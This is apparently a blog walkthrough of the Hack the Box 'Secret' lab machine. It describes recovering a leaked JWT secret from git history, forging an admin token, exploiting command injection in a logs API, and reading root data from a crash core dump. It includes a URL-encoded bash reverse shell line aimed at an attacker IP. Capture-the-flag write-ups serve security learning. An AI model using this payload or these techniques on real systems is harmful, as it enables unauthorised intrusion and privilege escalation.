• Donald Ashdown

Hack the Box - Secret

Engagement flow

Summary

This was an interesting and challenging machine. We started off with some source code review and this revealed a secret.htb git repo. This lead to a JWT token privilege escalation against secret.htb/api/priv for admin access. From here we took advantage of a secret.htb git repository command injection vulnerability. This allows us to escalate to local file inclusion and a reverse shell. From here we perform some internal enumeration and find /opt/count and the source code in code.c. From here we learned that coredump was enabled and we managed to crash the core dump where we found SSH credentials as root.

Tools used
Processes/Techniques
  • JWT token decoding

  • JWT token modifying

  • Core dumping

  • Code review

References

Enumeration

We start off with some enumeration and find our attack surface is fairly straight forward with only 3 ports open. We know that port 22 is likely for a later phase of this engagement which will allow us to connect to the target with credentials. Port 80 is our webserver and port 3000 is unknown. A more in depth nmap scan reveals that port 3000 is hosting node.js express with an http-title: DUMB Docs on a linux OS.


We perform a more in depth enumeration and learn port 80 is running nginx.


Web Enumeration

Our landing page brings us to DumbDocs where we initially notice a rather large API attack surface is present.


The most revealing path forwards is through our option to download Source Code of this project. It is likely that source code review will have to be performed in order to determine out next step or vulnerability.


Source Code Review

Jumping into some source code review, we download the Git repository and looking at our initial files my instinct is to investigate the validation.js file.


Validation.js

We didn't initially find anything that stood out in the validation.js file.


.Git

Performing a list hidden directories in our source file reveals a .git folder which we proceed to investigate.


We start with the logs folder and instead of using a Linux text editor we can call the Linux native git command to view the files. This is done with 'git filename'.


We can see in the git logs below we have a comment that .env which we saw earlier in our source file, was removed for security reasons.


.env

Reviewing the .env file we can see a provided url to a mongodb authentication call.


From here we utilize the git checkout command to restore deleted files as we look for information related to this security issue or concern.

Performing a checkout on the removed .env folder yielded nothing.


We perform a checkout on the removed downloads folder as well and once we turn back to our .env file we actually have a token secret.


I was also able to find this removed token by calling "git show" on our commit number.


gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE

So this is great as we have restored a secret used for web authentication. But where and how to use this is our next step. As we continue looking through the source code we notice in index.html that the app listens on port 3000.


User login



We browse to the user login page and we switch our GET request to a POST request and are notified that an email is required.


Looking at the documentation shows us how to submit the json body of the request in order to pass an email and password.


User register

We view the user register option and the documentation. We learn that by creating a user, we can acquire our auth token which will allow us to make privileged API calls.


we tried exactly what the documentation suggests but the node js express server cannot process our request. This is because the content-type is specified as a URL encoded form which is not being used in this case, as we are using an API in json.


Changing the application type provides a proper response from the back end. From here we pivot right back to the user login attempt.


We change it up and add some custom info, as well as we add the content type to specify JSON.

Sending this request provides us with a response of the username, which as the documentation suggests, is a successful response to a user register.


Login attempt number 1 fails with a response that "name" is not allowed. So this makes sense as a web auth with a JWT token is just looking for email and password as per the documentation.


As soon as we remove the name, we get a successful response with out JWT token.


Great, we get a JWT token response. From here we continue to follow the documentation which now talks about "access Private Route". But first we run our token through a JWT decoder.


So from here, I took this JWT token and tried to pass it to the /api/priv page and it never worked. I eventually learned that the JWT token needs the secret which is used to sign all tokens, kind of like a certificate authority.


I proceeded to perform privilege checks as per the documentation by making a call to /api/priv.

I had to deal with a tricky issue as there were some white space issues with the auth-token and the solution to this was to add the auth-token and then delete the space between the delimiter and the actual string of character and then add a new space.


From here we see that we made a successful api call to the priv check. We are a normal user however and we ideally want to become admin..

The documentation leaked a default username "theadmin" which when we try to register, we see the user already exists. So from here we attempt to modify our token in the jwt debugger to reflect the username admin.


We also notice this in the routes/private.js



This provides our JWT token as "theadmin" after we modify the name and we proceed to pass this to the server under the priv check.



Code review

Private.js

Reviewing private.js revealed that we have user input being passed to the exec command. A classic code vulnerability for Hack the Box easy rated machines. What this means, is an api request to /logs/ with a file query is being run at command line on the backend host. We can put this to the test by first satisfying the user requirement of "theadmin" followed by a file query of a known file, or in this case, /etc/passwd.


Here we can see our command was indeed passed to the backend server and run from the cmd variable as a command.


This did not work, however we did see that our input was passed to the cmd variable. From here we need to separate the two, and have our command run independently of the api command. We start to enumerate with escape character, string terminators, and eventually the conjoin operator known as a "pipe" command sealed the deal.


User

At this stage with command injection we can reliably test different payloads including reverse shells. Executing a reverse shell through command injection can be tricky so I first attempt to successfully pass a ping command to the command line with TCP Dump listening for a successful ping back.


With the following command after some tinkering around we had a reverse bash initiated shell..


|bash+-c+"bash+-i+>%26+/dev/tcp/10.10.14.102/6363+0>%261"


Root

We make our way onto the box and run linpeas.


Having to perform a more manual enumeration processes we eventually check the opt folder. Incase you do not already know, the opt folder is where additional software or addons are installed.



This is great as we clearly have a custom application with the source code. So we proceed to review code.c.

Testing the application shows we are to access a file directory for somereason.




Looking at the source code we learn that core dumps are enabled.



dasith@secret:/opt$ cat code.c

cat code.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <dirent.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <linux/limits.h>

void dircount(const char *path, char *summary)
{
    DIR *dir;
    char fullpath[PATH_MAX];
    struct dirent *ent;
    struct stat fstat;

    int tot = 0, regular_files = 0, directories = 0, symlinks = 0;

    if((dir = opendir(path)) == NULL)
    {
        printf("\nUnable to open directory.\n");
        exit(EXIT_FAILURE);
    }
    while ((ent = readdir(dir)) != NULL)
    {
        ++tot;
        strncpy(fullpath, path, PATH_MAX-NAME_MAX-1);
        strcat(fullpath, "/");
        strncat(fullpath, ent->d_name, strlen(ent->d_name));
        if (!lstat(fullpath, &fstat))
        {
            if(S_ISDIR(fstat.st_mode))
            {
                printf("d");
                ++directories;
            }
            else if(S_ISLNK(fstat.st_mode))
            {
                printf("l");
                ++symlinks;
            }
            else if(S_ISREG(fstat.st_mode))
            {
                printf("-");
                ++regular_files;
            }
            else printf("?");
            printf((fstat.st_mode & S_IRUSR) ? "r" : "-");
            printf((fstat.st_mode & S_IWUSR) ? "w" : "-");
            printf((fstat.st_mode & S_IXUSR) ? "x" : "-");
            printf((fstat.st_mode & S_IRGRP) ? "r" : "-");
            printf((fstat.st_mode & S_IWGRP) ? "w" : "-");
            printf((fstat.st_mode & S_IXGRP) ? "x" : "-");
            printf((fstat.st_mode & S_IROTH) ? "r" : "-");
            printf((fstat.st_mode & S_IWOTH) ? "w" : "-");
            printf((fstat.st_mode & S_IXOTH) ? "x" : "-");
        }
        else
        {
            printf("??????????");
        }
        printf ("\t%s\n", ent->d_name);
    }
    closedir(dir);

    snprintf(summary, 4096, "Total entries       = %d\nRegular files       = %d\nDirectories         = %d\nSymbolic links      = %d\n", tot, regular_files, directories, symlinks);
    printf("\n%s", summary);
}


void filecount(const char *path, char *summary)
{
    FILE *file;
    char ch;
    int characters, words, lines;

    file = fopen(path, "r");

    if (file == NULL)
    {
        printf("\nUnable to open file.\n");
        printf("Please check if file exists and you have read privilege.\n");
        exit(EXIT_FAILURE);
    }

    characters = words = lines = 0;
    while ((ch = fgetc(file)) != EOF)
    {
        characters++;
        if (ch == '\n' || ch == '\0')
            lines++;
        if (ch == ' ' || ch == '\t' || ch == '\n' || ch == '\0')
            words++;
    }

    if (characters > 0)
    {
        words++;
        lines++;
    }

    snprintf(summary, 256, "Total characters = %d\nTotal words      = %d\nTotal lines      = %d\n", characters, words, lines);
    printf("\n%s", summary);
}


int main()
{
    char path[100];
    int res;
    struct stat path_s;
    char summary[4096];

    printf("Enter source file/directory name: ");
    scanf("%99s", path);
    getchar();
    stat(path, &path_s);
    if(S_ISDIR(path_s.st_mode))
        dircount(path, summary);
    else
        filecount(path, summary);

    // drop privs to limit file write
    setuid(getuid());
    // Enable coredump generation
    prctl(PR_SET_DUMPABLE, 1);
    printf("Save results a file? [y/N]: ");
    res = getchar();
    if (res == 121 || res == 89) {
        printf("Path: ");
        scanf("%99s", path);
        FILE *fp = fopen(path, "a");
        if (fp != NULL) {
            fputs(summary, fp);
            fclose(fp);
        } else {
            printf("Could not open %s for writing\n", path);
        }
    }

    return 0;
}


Call the /root/root.txt directory which loads the information into the memory but does not make it accessible to use the user of the application. From here we crash the application by running kill-6 PID. From here we check the crash log to see what information was being stored in memory at the time. In order to do this we have to utilize apport-unpack.



apport-unpack /var/crash/_opt_count.1000.crash /tmp/boom


cat CoreDump for the flag :)


14 views0 comments